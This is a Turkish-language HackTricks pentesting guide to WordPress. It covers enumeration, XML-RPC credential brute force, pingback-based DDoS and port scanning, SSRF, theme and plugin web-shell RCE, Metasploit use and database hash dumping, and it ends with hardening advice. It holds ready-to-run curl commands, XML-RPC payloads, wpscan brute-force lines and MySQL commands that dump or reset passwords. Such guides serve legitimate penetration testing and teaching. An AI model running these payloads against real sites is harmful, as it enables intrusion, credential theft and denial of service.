Wordpress

Reading time: 14 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Bilgiler

  • Yüklenen dosyalar şuraya gider: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Temalar dosyaları /wp-content/themes/ içinde bulunabilir, bu nedenle RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: twentytwelve teması kullanarak 404.php dosyasına şuradan erişebilirsiniz: /wp-content/themes/twentytwelve/404.php

  • Başka bir yararlı url olabilir: /wp-content/themes/default/404.php

  • wp-config.php dosyasında veritabanının root şifresini bulabilirsiniz.

  • Kontrol edilecek varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Ana WordPress Dosyaları

  • index.php
  • license.txt WordPress'in kurulu versiyonu gibi yararlı bilgiler içerir.
  • wp-activate.php yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır.
  • Giriş klasörleri (gizlemek için yeniden adlandırılabilir):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php HTTP'nin taşıma mekanizması olarak ve XML'nin kodlama mekanizması olarak işlev gördüğü WordPress'in bir özelliğini temsil eden bir dosyadır. Bu tür bir iletişim, WordPress REST API ile değiştirilmiştir.
  • wp-content klasörü, eklentilerin ve temaların saklandığı ana dizindir.
  • wp-content/uploads/ Platforma yüklenen dosyaların saklandığı dizindir.
  • wp-includes/ Sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir.
  • wp-sitemap.xml WordPress sürümleri 5.5 ve üzeri için, WordPress tüm kamuya açık gönderiler ve kamuya sorgulanabilir gönderi türleri ve taksonomiler ile bir sitemap XML dosyası oluşturur.

Sonrası istismar

  • wp-config.php dosyası, WordPress'in veritabanına bağlanmak için gerekli bilgileri içerir; veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön eki. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir.

Kullanıcı İzinleri

  • Yönetici
  • Editör: Kendi ve başkalarının gönderilerini yayınlar ve yönetir
  • Yazar: Kendi gönderilerini yayınlar ve yönetir
  • Katkıda Bulunan: Kendi gönderilerini yazar ve yönetir ancak yayınlayamaz
  • Abone: Gönderileri tarar ve profilini düzenler

Pasif Sayım

WordPress sürümünü öğrenin

/license.txt veya /readme.html dosyalarını bulup bulamayacağınızı kontrol edin.

Sayfanın kaynak kodu içinde (örnek https://wordpress.org/support/article/pages/ adresinden):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS bağlantı dosyaları

  • JavaScript dosyaları

Eklentileri Al

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Temaları Alın

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Genel Olarak Sürümleri Çıkarma

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktif Enumerasyon

Eklentiler ve Temalar

Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için, Eklentiler ve Temalar listesini Aktif Brute Force yapmanız gerekecek (umarız ki bu listeleri içeren otomatik araçlar var).

Kullanıcılar

  • ID Brute: Bir WordPress sitesinden kullanıcı ID'lerini Brute Force yaparak geçerli kullanıcılar elde edersiniz:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Eğer yanıtlar 200 veya 30X ise, bu id'nin geçerli olduğu anlamına gelir. Eğer yanıt 400 ise, o zaman id geçersizdir.

  • wp-json: Kullanıcılar hakkında bilgi almak için şunu sorgulamayı da deneyebilirsiniz:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Başka bir /wp-json/ uç noktası, kullanıcılar hakkında bazı bilgileri açığa çıkarabilir:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Bu uç noktanın yalnızca bir gönderi yapmış kullanıcıları açığa çıkardığını unutmayın. Bu özelliği etkinleştiren kullanıcılar hakkında yalnızca bilgi sağlanacaktır.

Ayrıca /wp-json/wp/v2/pages IP adreslerini sızdırabilir.

  • Giriş kullanıcı adı sayımı: /wp-login.php'da giriş yaparken mesaj farklıdır eğer belirtilen kullanıcı adı mevcutsa veya değilse.

XML-RPC

Eğer xml-rpc.php aktifse, kimlik bilgileri için brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için bunu kullanabilirsiniz, örneğin).

Aktif olup olmadığını görmek için /xmlrpc.php adresine erişmeyi deneyin ve bu isteği gönderin:

Kontrol Et

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Kimlik Bilgileri Kaba Kuvvet

wp.getUserBlogs, wp.getCategories veya metaWeblog.getUsersBlogs kimlik bilgilerini kaba kuvvetle elde etmek için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şöyle bir şey gönderebilirsiniz:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Mesaj "Geçersiz kullanıcı adı veya şifre" 200 kodlu bir yanıt içinde, kimlik bilgileri geçerli değilse görünmelidir.

Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Ayrıca, aynı istekte birkaç kimlik bilgisi denemek için system.multicall kullanarak kimlik bilgilerini kırmanın daha hızlı bir yolu vardır:

2FA'yı Atlatma

Bu yöntem programlar için tasarlanmıştır ve insanlar için değil, ayrıca eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmak için xmlrpc.php'yi kötüye kullanabilirsiniz. Konsoldan yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s açıklamasında olduğu gibi RCE'ye ulaşmanız hala mümkün olabilir.

DDoS veya port taraması

Eğer listede pingback.ping yöntemini bulursanız, Wordpress'in herhangi bir ana bilgisayara/porta keyfi bir istek göndermesini sağlayabilirsiniz.
Bu, binlerce Wordpress sitesinin bir konuma erişmesini istemek için kullanılabilir (bu durumda o konumda bir DDoS meydana gelir) veya Wordpress'in bazı dahili ağları taramasını sağlamak için kullanabilirsiniz (herhangi bir portu belirtebilirsiniz).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Eğer faultCode değeri 0'dan büyük (17) ise, bu portun açık olduğu anlamına gelir.

Bu yöntemi kötüye kullanarak DDoS oluşturmayı öğrenmek için önceki bölümdeki system.multicall kullanımına bakın.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Bu dosya genellikle Wordpress sitesinin kökünde bulunur: /wp-cron.php
Bu dosya erişildiğinde "ağır" bir MySQL sorgusu gerçekleştirilir, bu nedenle saldırganlar tarafından bir DoS oluşturmak için kullanılabilir.
Ayrıca, varsayılan olarak, wp-cron.php her sayfa yüklemesinde (bir istemci herhangi bir Wordpress sayfasını talep ettiğinde) çağrılır, bu da yüksek trafikli sitelerde sorunlara neden olabilir (DoS).

Wp-Cron'un devre dışı bırakılması ve gerekli eylemleri düzenli aralıklarla gerçekleştiren gerçek bir cronjob'un host içinde oluşturulması önerilir (sorun yaratmadan).

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir.

Bu çalışmadığında gelen yanıt:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Bu araç, methodName: pingback.ping ve /wp-json/oembed/1.0/proxy yolunu kontrol eder ve eğer mevcutsa, bunları istismar etmeye çalışır.

Automatic Tools

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Bir biti üzerine yazarak erişim elde et

Gerçek bir saldırıdan çok bir merak. CTF'de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece /var/www/html/wp-includes/user.php dosyasının 5389 konumunu NOP (!) işlemini devre dışı bırakacak şekilde değiştirebilirsiniz.

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Kullanılan temadan bir php'yi değiştirme (admin kimlik bilgileri gerekli)

Görünüm → Tema Düzenleyici → 404 Şablonu (sağda)

Bir php shell için içeriği değiştirin:

Bu güncellenmiş sayfaya nasıl erişeceğinizi internette arayın. Bu durumda buraya erişmeniz gerekiyor: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Kullanabilirsiniz:

bash
use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Eklenti RCE

PHP eklentisi

Eklenti olarak .php dosyalarını yüklemek mümkün olabilir.
Örneğin, php arka kapınızı oluşturun:

Sonra yeni bir eklenti ekleyin:

Eklentiyi yükleyin ve Şimdi Yükle'ye basın:

Devam'a tıklayın:

Muhtemelen bu görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz, yüklediğiniz shell'i göreceksiniz:

Erişim sağlayın ve ters shell'i çalıştırmak için URL'yi göreceksiniz:

Kötü niyetli eklentiyi yükleme ve etkinleştirme

Bu yöntem, bilinen bir zafiyete sahip kötü niyetli bir eklentinin yüklenmesini içerir ve bir web shell elde etmek için istismar edilebilir. Bu süreç, WordPress kontrol paneli aracılığıyla aşağıdaki gibi gerçekleştirilir:

  1. Eklenti Edinme: Eklenti, Exploit DB gibi bir kaynaktan temin edilir buradan.
  2. Eklenti Yükleme:
  • WordPress kontrol paneline gidin, ardından Kontrol Paneli > Eklentiler > Eklenti Yükle seçeneğine gidin.
  • İndirilen eklentinin zip dosyasını yükleyin.
  1. Eklenti Etkinleştirme: Eklenti başarıyla yüklendikten sonra, kontrol paneli aracılığıyla etkinleştirilmelidir.
  2. İstismar:
  • "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir.
  • Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
  • Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu belirtilmektedir.

İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal izin olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, yalnızca yasal bir bağlamda, açık izinle penetrasyon testi gibi sorumlu bir şekilde kullanılmalıdır.

Daha ayrıntılı adımlar için kontrol edin: https://www.hackingarticles.in/wordpress-reverse-shell/

XSS'den RCE'ye

  • WPXStrike: WPXStrike, Cross-Site Scripting (XSS) zafiyetini Remote Code Execution (RCE) veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için bu gönderiye bakın. WordPress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:
  • Yetki Yükseltme: WordPress'te bir kullanıcı oluşturur.
  • (RCE) Özel Eklenti (arka kapı) Yükleme: Özel eklentinizi (arka kapı) WordPress'e yükleyin.
  • (RCE) Yerleşik Eklenti Düzenleme: WordPress'teki Yerleşik Eklentileri düzenleyin.
  • (RCE) Yerleşik Tema Düzenleme: WordPress'teki Yerleşik Temaları düzenleyin.
  • (Özel) Özel İstismarlar: Üçüncü Taraf WordPress Eklentileri/Tema için Özel İstismarlar.

İstismar Sonrası

Kullanıcı adlarını ve şifreleri çıkarın:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Yönetici şifresini değiştir:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Eklentileri Pentest

Saldırı Yüzeyi

Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bilmek, işlevselliğindeki zayıflıkları bulmak için anahtardır. Bir eklentinin işlevselliği nasıl açığa çıkarabileceğini aşağıdaki madde işaretlerinde ve bu blog yazısında bazı zayıf eklenti örneklerinde bulabilirsiniz.

  • wp_ajax

Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, herhangi bir kullanıcı tarafından Wordpress örneğinde sahip olunabilecek bir wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak).

Bir eklentide bir işlevi açığa çıkarmak için kullanılabilecek işlevler şunlardır:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv kullanımı, uç noktayı herhangi bir kullanıcı (hatta kimliği doğrulanmamış olanlar) tarafından erişilebilir hale getirir.

caution

Dahası, eğer fonksiyon sadece wp_verify_nonce fonksiyonu ile kullanıcının yetkilendirmesini kontrol ediyorsa, bu fonksiyon genellikle kullanıcının giriş yapıp yapmadığını kontrol eder, kullanıcının rolünü kontrol etmez. Bu nedenle, düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı eylemlere erişim sağlayabilir.

  • REST API

WordPress'ten fonksiyonları, register_rest_route fonksiyonunu kullanarak bir rest AP kaydederek açığa çıkarmak da mümkündür:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback, belirli bir kullanıcının API yöntemini çağırma yetkisine sahip olup olmadığını kontrol eden bir işlevin geri çağrısıdır.

Eğer yerleşik __return_true işlevi kullanılıyorsa, kullanıcı izinleri kontrolü basitçe atlanacaktır.

  • PHP dosyasına doğrudan erişim

Elbette, WordPress PHP kullanır ve eklentiler içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu nedenle, bir eklenti, dosyaya erişim sağlanarak tetiklenen herhangi bir savunmasız işlevsellik sunuyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir.

WordPress Koruması

Düzenli Güncellemeler

WordPress, eklentiler ve temaların güncel olduğundan emin olun. Ayrıca, wp-config.php dosyasında otomatik güncellemenin etkin olduğunu doğrulayın:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ayrıca, sadece güvenilir WordPress eklentileri ve temaları yükleyin.

Güvenlik Eklentileri

Diğer Öneriler

  • Varsayılan admin kullanıcısını kaldırın
  • Güçlü şifreler ve 2FA kullanın
  • Kullanıcıların izinlerini periyodik olarak gözden geçirin
  • Brute Force saldırılarını önlemek için giriş denemelerini sınırlayın
  • wp-admin.php dosyasının adını değiştirin ve yalnızca dahili erişime veya belirli IP adreslerinden erişime izin verin.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin